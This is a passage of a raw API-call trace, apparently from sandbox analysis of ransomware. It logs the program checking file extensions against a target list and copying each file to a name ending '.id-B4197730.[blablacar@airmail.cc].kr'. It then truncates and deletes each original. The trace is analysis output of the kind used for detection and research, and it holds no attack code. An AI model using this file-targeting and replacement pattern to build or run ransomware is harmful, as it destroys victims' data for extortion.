[0085.690] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.690] lstrlenW (lpString=".pdf") returned 4 [0085.690] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.690] lstrlenW (lpString=".xls") returned 4 [0085.690] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.690] lstrlenW (lpString=".xlsx") returned 5 [0085.690] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.690] lstrlenW (lpString=".ppt") returned 4 [0085.690] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.690] lstrlenW (lpString=".zip") returned 4 [0085.690] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.690] lstrlenW (lpString=".rar") returned 4 [0085.690] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.690] lstrlenW (lpString=".bz2") returned 4 [0085.690] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.690] lstrlenW (lpString=".7z") returned 3 [0085.690] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.690] lstrlenW (lpString=".dbf") returned 4 [0085.690] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.691] lstrlenW (lpString=".1cd") returned 4 [0085.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.691] lstrlenW (lpString=".jpg") returned 4 [0085.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.691] lstrlenW (lpString=".doc") returned 4 [0085.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.691] lstrlenW (lpString=".docx") returned 5 [0085.691] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.691] lstrlenW (lpString=".pdf") returned 4 [0085.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.691] lstrlenW (lpString=".xls") returned 4 [0085.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.691] lstrlenW (lpString=".xlsx") returned 5 [0085.691] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.691] lstrlenW (lpString=".ppt") returned 4 [0085.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.691] lstrlenW (lpString=".zip") returned 4 [0085.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.692] lstrlenW (lpString=".rar") returned 4 [0085.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.692] lstrlenW (lpString=".bz2") returned 4 [0085.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.692] lstrlenW (lpString=".7z") returned 3 [0085.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.692] lstrlenW (lpString=".dbf") returned 4 [0085.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.692] lstrlenW (lpString=".1cd") returned 4 [0085.692] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.692] lstrlenW (lpString=".jpg") returned 4 [0085.692] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.692] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0085.692] lstrlenW (lpString="LocalizedData.xml") returned 17 [0085.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0085.693] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=81482) returned 1 [0085.693] CloseHandle (hObject=0x34c) returned 1 [0085.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0085.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0085.696] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0085.697] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0085.697] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0085.697] GetLastError () returned 0x0 [0085.697] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0085.700] WriteFile (in: hFile=0x328, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e50, lpOverlapped=0x0) returned 1 [0085.703] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0085.703] WriteFile (in: hFile=0x328, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xf6, lpOverlapped=0x0) returned 1 [0085.703] SetEndOfFile (hFile=0x328) returned 1 [0085.704] CloseHandle (hObject=0x328) returned 1 [0085.706] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0085.706] SetEndOfFile (hFile=0x34c) returned 1 [0085.708] CloseHandle (hObject=0x34c) returned 1 [0085.709] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.709] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0085.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.710] lstrlenW (lpString=".doc") returned 4 [0085.710] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.710] lstrlenW (lpString=".docx") returned 5 [0085.710] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.710] lstrlenW (lpString=".pdf") returned 4 [0085.710] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.710] lstrlenW (lpString=".xls") returned 4 [0085.710] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.710] lstrlenW (lpString=".xlsx") returned 5 [0085.710] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.710] lstrlenW (lpString=".ppt") returned 4 [0085.710] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.710] lstrlenW (lpString=".zip") returned 4 [0085.710] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.710] lstrlenW (lpString=".rar") returned 4 [0085.710] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.710] lstrlenW (lpString=".bz2") returned 4 [0085.710] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.710] lstrlenW (lpString=".7z") returned 3 [0085.710] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.710] lstrlenW (lpString=".dbf") returned 4 [0085.710] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.710] lstrlenW (lpString=".1cd") returned 4 [0085.710] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.711] lstrlenW (lpString=".jpg") returned 4 [0085.711] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.711] lstrlenW (lpString=".doc") returned 4 [0085.711] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString=".docx") returned 5 [0085.711] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.711] lstrlenW (lpString=".pdf") returned 4 [0085.711] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString=".xls") returned 4 [0085.711] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString=".xlsx") returned 5 [0085.711] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.711] lstrlenW (lpString=".ppt") returned 4 [0085.711] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.711] lstrlenW (lpString=".zip") returned 4 [0085.711] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.711] lstrlenW (lpString=".rar") returned 4 [0085.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString=".bz2") returned 4 [0085.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.711] lstrlenW (lpString=".7z") returned 3 [0085.712] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.712] lstrlenW (lpString=".dbf") returned 4 [0085.712] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.712] lstrlenW (lpString=".1cd") returned 4 [0085.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0085.712] lstrlenW (lpString=".jpg") returned 4 [0085.712] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.712] Sleep (dwMilliseconds=0x64) [0086.067] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0086.067] lstrlenW (lpString="eula.rtf") returned 8 [0086.067] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0086.067] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=5827) returned 1 [0086.067] CloseHandle (hObject=0x348) returned 1 [0086.067] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0086.068] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0086.068] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0086.068] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.068] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.068] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0086.070] GetLastError () returned 0x0 [0086.070] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x16c3, lpOverlapped=0x0) returned 1 [0086.072] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x16d0, lpOverlapped=0x0) returned 1 [0086.073] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0086.073] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe4, lpOverlapped=0x0) returned 1 [0086.073] SetEndOfFile (hFile=0x33c) returned 1 [0086.073] CloseHandle (hObject=0x33c) returned 1 [0086.074] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.074] SetEndOfFile (hFile=0x348) returned 1 [0086.075] CloseHandle (hObject=0x348) returned 1 [0086.076] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0086.076] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0086.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.076] lstrlenW (lpString=".doc") returned 4 [0086.076] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.076] lstrlenW (lpString=".docx") returned 5 [0086.076] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.077] lstrlenW (lpString=".pdf") returned 4 [0086.077] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.077] lstrlenW (lpString=".xls") returned 4 [0086.077] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0086.077] lstrlenW (lpString=".xlsx") returned 5 [0086.077] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0086.077] lstrlenW (lpString=".ppt") returned 4 [0086.077] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.077] lstrlenW (lpString=".zip") returned 4 [0086.077] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0086.077] lstrlenW (lpString=".rar") returned 4 [0086.077] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.077] lstrlenW (lpString=".bz2") returned 4 [0086.077] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.077] lstrlenW (lpString=".7z") returned 3 [0086.077] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.077] lstrlenW (lpString=".dbf") returned 4 [0086.077] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.077] lstrlenW (lpString=".1cd") returned 4 [0086.077] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.077] lstrlenW (lpString=".jpg") returned 4 [0086.077] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.078] lstrlenW (lpString=".doc") returned 4 [0086.078] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.078] lstrlenW (lpString=".docx") returned 5 [0086.078] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.078] lstrlenW (lpString=".pdf") returned 4 [0086.078] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.078] lstrlenW (lpString=".xls") returned 4 [0086.078] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0086.078] lstrlenW (lpString=".xlsx") returned 5 [0086.078] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0086.078] lstrlenW (lpString=".ppt") returned 4 [0086.078] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.078] lstrlenW (lpString=".zip") returned 4 [0086.078] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0086.078] lstrlenW (lpString=".rar") returned 4 [0086.078] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.078] lstrlenW (lpString=".bz2") returned 4 [0086.078] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.078] lstrlenW (lpString=".7z") returned 3 [0086.078] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.078] lstrlenW (lpString=".dbf") returned 4 [0086.078] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.079] lstrlenW (lpString=".1cd") returned 4 [0086.079] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0086.079] lstrlenW (lpString=".jpg") returned 4 [0086.079] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.079] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0086.079] lstrlenW (lpString="LocalizedData.xml") returned 17 [0086.079] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0086.079] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=60684) returned 1 [0086.080] CloseHandle (hObject=0x348) returned 1 [0086.080] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0086.080] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0086.080] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0086.080] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.080] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.080] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0086.080] GetLastError () returned 0x0 [0086.080] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xed0c, lpOverlapped=0x0) returned 1 [0086.084] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xed10, lpOverlapped=0x0) returned 1 [0086.086] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0086.086] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xf6, lpOverlapped=0x0) returned 1 [0086.086] SetEndOfFile (hFile=0x33c) returned 1 [0086.086] CloseHandle (hObject=0x33c) returned 1 [0086.089] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.089] SetEndOfFile (hFile=0x348) returned 1 [0086.090] CloseHandle (hObject=0x348) returned 1 [0086.090] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0086.091] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0086.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.091] lstrlenW (lpString=".doc") returned 4 [0086.091] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.091] lstrlenW (lpString=".docx") returned 5 [0086.091] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0086.091] lstrlenW (lpString=".pdf") returned 4 [0086.091] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.091] lstrlenW (lpString=".xls") returned 4 [0086.091] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.091] lstrlenW (lpString=".xlsx") returned 5 [0086.091] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0086.091] lstrlenW (lpString=".ppt") returned 4 [0086.092] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.092] lstrlenW (lpString=".zip") returned 4 [0086.092] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.092] lstrlenW (lpString=".rar") returned 4 [0086.092] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.092] lstrlenW (lpString=".bz2") returned 4 [0086.092] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.092] lstrlenW (lpString=".7z") returned 3 [0086.092] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.092] lstrlenW (lpString=".dbf") returned 4 [0086.092] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.092] lstrlenW (lpString=".1cd") returned 4 [0086.092] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.092] lstrlenW (lpString=".jpg") returned 4 [0086.092] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.092] lstrlenW (lpString=".doc") returned 4 [0086.092] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.092] lstrlenW (lpString=".docx") returned 5 [0086.092] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0086.093] lstrlenW (lpString=".pdf") returned 4 [0086.093] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.093] lstrlenW (lpString=".xls") returned 4 [0086.093] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.093] lstrlenW (lpString=".xlsx") returned 5 [0086.093] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0086.093] lstrlenW (lpString=".ppt") returned 4 [0086.093] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.093] lstrlenW 